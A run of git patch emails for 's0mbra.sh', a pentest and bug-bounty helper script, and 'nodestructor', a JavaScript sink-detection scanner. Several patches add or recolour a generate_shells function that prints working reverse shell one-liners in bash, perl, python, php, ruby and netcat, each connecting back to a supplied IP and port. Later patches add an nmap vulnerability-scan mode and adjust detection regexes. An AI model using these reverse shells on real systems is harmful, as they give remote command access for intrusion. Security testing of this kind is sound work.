[s0mbra] Updated reverse shells --- s0mbra.sh | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1906126..cba96a3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -74,7 +74,6 @@ full_nmap_scan() { echo -e "[+] Done!" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -146,7 +145,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -163,7 +161,6 @@ privesc_tools_linux() { http 9119 } - # exposes folder with Windows PrivEsc tools on localhost:9119 privesc_tools_windows() { cd "$HACKING_HOME"/tools/Windows || exit @@ -247,7 +244,6 @@ nfs_enum() { echo -e "\n[+] Done." } - # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { @@ -256,7 +252,6 @@ subdomenum() { echo -e "\n[+] Done." } - # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -399,7 +394,8 @@ generate_shells() { echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m exec 5<>/dev/tcp/$1/$port | cat <&5 | while read line; do $line 2>&5 >&5; done" + echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -408,6 +404,9 @@ generate_shells() { echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" @@ -419,7 +418,6 @@ generate_shells() { echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" -} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 397916b687c2fa732e5228993d0f32575b5e50ac Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Oct 2021 13:26:06 +0100 Subject: [PATCH 111/369] [s0mbra] syntax error fix; adjust colors for generated shells categories --- s0mbra.sh | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cba96a3..cca7850 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -392,32 +392,33 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[41m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[41m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[41m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[41m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" - echo -e "\033[42m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" - echo -e "\033[42m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" - echo -e "\033[42m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" + echo -e "\033[1;34m[perl (Windows)]\033[0m perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" echo -e "$NEWLINE" - echo -e "\033[43m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" + echo -e "\033[1;36m[python]\033[0m python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]\033[0m);'" echo -e "$NEWLINE" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" - echo -e "\033[44m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);shell_exec(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);system(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" + echo -e "\033[1;32m[php]\033[0m php -r '\$sock=fsockopen(\"$1\",$port);popen(\"/bin/sh -i \<\&3 \>\&3 2\>\&3\");'" echo -e "$NEWLINE" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" - echo -e "\033[45m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e'f=TCPSocket.open(\"$1\",$port).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" + echo -e "\033[1;30m[ruby]\033[0m ruby -rsocket -e 'c=TCPSocket.new(\"$1\",\"$port\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" echo -e "$NEWLINE" - echo -e "\033[46m[netcat]\033[0m nc -e /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m nc -c /bin/sh $1 $port" - echo -e "\033[46m[netcat]\033[0m /bin/sh | nc $1 $port" - echo -e "\033[46m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" - echo -e "\033[46m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" + echo -e "\033[36m[netcat]\033[0m nc -e /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m nc -c /bin/sh $1 $port" + echo -e "\033[36m[netcat]\033[0m /bin/sh | nc $1 $port" + echo -e "\033[36m[netcat]\033[0m rm -f /tmp/p; mknod /tmp/p p && nc $1 $port 0/tmp/p" + echo -e "\033[36m[netcat]\033[0m rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $1 $port >/tmp/f" echo -e "$NEWLINE" +} php7() { echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" From 3420e97da560eccb7c070ee44ac9d3f669ff6c81 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Oct 2021 21:56:52 +0000 Subject: [PATCH 112/369] [s0mbra] New menu colors --- s0mbra.sh | 59 +++++++++++++++++++++++++++++-------------------------- 1 file changed, 31 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cca7850..85de86f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -11,12 +11,15 @@ HACKING_HOME="/Users/bl4de/hacking" -GREEN='\033[1;32m' GRAY='\033[1;30m' RED='\033[1;31m' +GREEN='\033[1;32m' +LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' BLUE='\033[1;34m' +LIGHTBLUE='\033[34m' MAGENTA='\033[1;35m' +CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' @@ -545,41 +548,41 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\ts3go [bucket] [key]\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" - echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" + echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" - echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" - echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" - echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" + echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" + echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; From 1619570e02e6e0c33890490af65480479123476f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:09 +0000 Subject: [PATCH 113/369] [Nodestructor] Adjust some patterns --- nodestructor/nodestructor.py | 58 ++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 2daa19d..9d0af7d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -131,34 +131,34 @@ ".*setContent\(", ".*setHTML\(", ".*\.SafeString\(", - ".*jQuery.globalEval", + ".*globalEval", ".*execScript", - ".*element.insertAdjacentHTML", - ".*element.setAttribute.on", - "xhr.open", - "xhr.send", + ".*insertAdjacentHTML\(", + ".*setAttribute.on", + ".*xhr.open", + ".*xhr.send", "fetch", - "xhr.setRequestHeader.name", - "xhr.setRequestHeader.value", - "jQuery.attr.href", - "jQuery.attr.src", - "jQuery.attr.data", - "jQuery.attr.action", - "jQuery.attr.formaction", - "jQuery.prop.href", - "jQuery.prop.src", - "jQuery.prop.data", - "jQuery.prop.action", - "jQuery.prop.formaction", + ".*xhr.setRequestHeader.name", + ".*xhr.setRequestHeader.value", + ".*attr.href", + ".*attr.src", + ".*attr.data", + ".*attr.action", + ".*attr.formaction", + ".*prop.href", + ".*prop.src", + ".*prop.data", + ".*prop.action", + ".*prop.formaction", "form.action", - "input.formaction", - "button.formaction", - "button.value", - "element.setAttribute.href", - "element.setAttribute.src", - "element.setAttribute.data", - "element.setAttribute.action", - "element.setAttribute.formaction", + ".*input.formaction", + ".*button.formaction", + ".*button.value", + ".*setAttribute.href", + ".*setAttribute.src", + ".*setAttribute.data", + ".*setAttribute.action", + ".*setAttribute.formaction", "webdatabase.executeSql", "document.domain", "history.pushState", @@ -173,10 +173,10 @@ "localStorage.setItem.value", "sessionStorage.setItem.name", "sessionStorage.setItem.value", - "element.outerText", - "element.innerText", - "element.textContent", - "element.style.cssText", + ".*outerText", + ".*innerText", + ".*textContent", + ".*style.cssText", "RegExp" ] From 1e9748c0b358cb68ac737909db1af3e93d4b9276 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:59 +0000 Subject: [PATCH 114/369] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 9d0af7d..646b687 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -160,24 +160,24 @@ ".*setAttribute.action", ".*setAttribute.formaction", "webdatabase.executeSql", - "document.domain", - "history.pushState", - "history.replaceState", - "xhr.setRequestHeader", - "websocket", - "anchor.href", - "anchor.target", - "JSON.parse", - "document.cookie", - "localStorage.setItem.name", - "localStorage.setItem.value", - "sessionStorage.setItem.name", - "sessionStorage.setItem.value", + ".*document.domain", + ".*history.pushState", + ".*history.replaceState", + ".*setRequestHeader", + ".*websocket", + ".*anchor.href", + ".*anchor.target", + ".*JSON.parse", + ".*document.cookie", + ".*localStorage.setItem.name", + ".*localStorage.setItem.value", + ".*sessionStorage.setItem.name", + ".*sessionStorage.setItem.value", ".*outerText", ".*innerText", ".*textContent", ".*style.cssText", - "RegExp" + ".*RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From 71d79719ebbe6edeb5f7d32ed0df2a09f86f1ce8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 15:56:44 +0000 Subject: [PATCH 115/369] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 646b687..53e3a12 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -82,6 +82,7 @@ ".*outerHTML", ".*appendChild\(", ".*document.write\(", + ".*document.writeln\(", ".*document.location", ".*document.URL", ".*document.documentURI", From 15878988fa7294f229f22aa6bb9384637b9e26c3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 4 Nov 2021 12:19:10 +0000 Subject: [PATCH 116/369] [s0mbra] Include custom X-Hackerone header in ffuf requests --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 85de86f..666c47f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,13 +379,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi } From ca95950675a5a156d035b152adfe8cf62ba94497 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Nov 2021 20:07:42 +0000 Subject: [PATCH 117/369] [s0mbra] nmap vulnscan mode; UI changes --- s0mbra.sh | 47 +++++++++++++++++++++++++++++++++++++---------- 1 file changed, 37 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 666c47f..5091f75 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,34 +60,57 @@ set_ip() { } # runs $2 port(s) against IP; then -sV -sC -A against every open port found +# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." + echo -e " ...search open ports...$CYAN" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } +# --script=vulscan/vulscan.nse +# requires: https://github.com/scipag/vulscan +nmap_vuln_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" + echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." + echo -e " Will probably take a while, so go grab some coffee or something...." + echo -e " ...search open ports... $CYAN" + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + fi + + echo -e "$BLUE\n[+] Done! $CLR" +} + + # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] @@ -476,6 +499,9 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; + nmap_vuln_scan) + nmap_vuln_scan "$2" "$3" + ;; http) http "$2" ;; @@ -551,6 +577,7 @@ case "$cmd" in echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found 